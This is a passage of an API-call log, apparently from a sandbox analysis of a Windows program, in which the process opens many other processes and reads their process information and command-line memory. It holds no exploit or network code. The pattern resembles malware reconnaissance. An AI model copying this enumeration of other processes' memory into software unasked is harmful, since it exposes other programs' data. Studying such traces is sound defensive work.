NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.793] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.793] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x34e020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.793] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.794] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0286.794] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46190e, lpBuffer=0x196ef0fb3b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fb3b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.794] free (_Block=0x196ef0fb3b0) [0286.795] CloseHandle (hObject=0x464) returned 1 [0286.796] _ui64tow_s (in: _Value=0x1344, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4932") returned 0x0 [0286.800] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4932") returned 4 [0286.801] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.801] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.832] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1344) returned 0x464 [0286.833] GetLastError () returned 0x0 [0286.833] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.833] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181c40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.834] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1818c8, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.835] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.836] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.836] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x63c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.836] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1812b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.837] malloc (_Size=0x42) returned 0x196ef0fc080 [0286.837] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x181908, lpBuffer=0x196ef0fc080, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fc080*, lpNumberOfBytesRead=0x0) returned 1 [0286.838] free (_Block=0x196ef0fc080) [0286.838] CloseHandle (hObject=0x464) returned 1 [0286.839] _ui64tow_s (in: _Value=0x3e4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="996") returned 0x0 [0286.843] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="996") returned 3 [0286.844] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.844] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.875] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3e4) returned 0x464 [0286.876] GetLastError () returned 0x0 [0286.876] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.876] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.877] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.877] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.877] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b18c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.878] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.880] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.880] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x6c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.880] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.880] malloc (_Size=0x9c) returned 0x196ef0d7490 [0286.880] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9b195e, lpBuffer=0x196ef0d7490, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7490*, lpNumberOfBytesRead=0x0) returned 1 [0286.881] free (_Block=0x196ef0d7490) [0286.882] CloseHandle (hObject=0x464) returned 1 [0286.882] _ui64tow_s (in: _Value=0xc10, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3088") returned 0x0 [0286.887] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3088") returned 4 [0286.888] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.888] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.934] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc10) returned 0x464 [0286.934] GetLastError () returned 0x0 [0286.934] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.935] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.935] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.935] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f1c20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.935] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18c8, lpBuffer=0x670f7c2b0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.936] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.937] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x247020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.938] malloc (_Size=0x38) returned 0x196ef0d0990 [0286.938] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d0990, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0990*, lpNumberOfBytesRead=0x0) returned 1 [0286.939] free (_Block=0x196ef0d0990) [0286.939] CloseHandle (hObject=0x464) returned 1 [0286.940] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0286.944] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3132") returned 4 [0286.945] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.945] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.959] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x464 [0286.959] GetLastError () returned 0x0 [0286.959] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.960] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.960] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x911d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.960] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9118c8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.961] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.962] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.962] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x724020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.962] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x9112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.963] malloc (_Size=0x88) returned 0x196ef0fa7b0 [0286.963] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x91194a, lpBuffer=0x196ef0fa7b0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.964] free (_Block=0x196ef0fa7b0) [0286.964] CloseHandle (hObject=0x464) returned 1 [0286.965] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0286.972] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3180") returned 4 [0286.973] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0286.973] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0286.989] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x464 [0286.989] GetLastError () returned 0x0 [0286.990] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0286.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0286.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0286.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x711d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0286.990] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7118c8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0286.991] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0286.992] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0286.992] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4c2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0286.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7112b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0286.993] malloc (_Size=0x9c) returned 0x196ef0d7ac0 [0286.993] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x71195e, lpBuffer=0x196ef0d7ac0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7ac0*, lpNumberOfBytesRead=0x0) returned 1 [0286.994] free (_Block=0x196ef0d7ac0) [0286.995] CloseHandle (hObject=0x464) returned 1 [0286.995] _ui64tow_s (in: _Value=0xc88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0286.999] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3208") returned 4 [0287.000] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.000] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x464 [0287.027] GetLastError () returned 0x0 [0287.320] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644003670, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.321] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f6440032b4, lpBuffer=0x670f7c2b0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.322] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.324] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x14ee12a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.324] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f644002c20, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.325] malloc (_Size=0xda) returned 0x196ef0d4e70 [0287.325] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d4e70, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0287.325] free (_Block=0x196ef0d4e70) [0287.326] CloseHandle (hObject=0x464) returned 1 [0287.326] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0287.331] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3232") returned 4 [0287.332] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.333] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.352] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x464 [0287.352] GetLastError () returned 0x0 [0287.353] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.353] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.353] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.353] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a1c50, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0287.353] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a18c8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0287.354] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0287.391] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0287.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x668020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0287.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a12b0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0287.391] malloc (_Size=0x48) returned 0x196ef0fbc20 [0287.391] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0fbc20, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fbc20*, lpNumberOfBytesRead=0x0) returned 1 [0287.392] free (_Block=0x196ef0fbc20) [0287.393] CloseHandle (hObject=0x464) returned 1 [0287.394] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0287.399] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4288") returned 4 [0287.400] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0287.400] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0287.417] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x464 [0287.418] GetLastError () returned 0x0 [0287.419] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0287.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24e018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0287.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0287.419] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x431c70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, 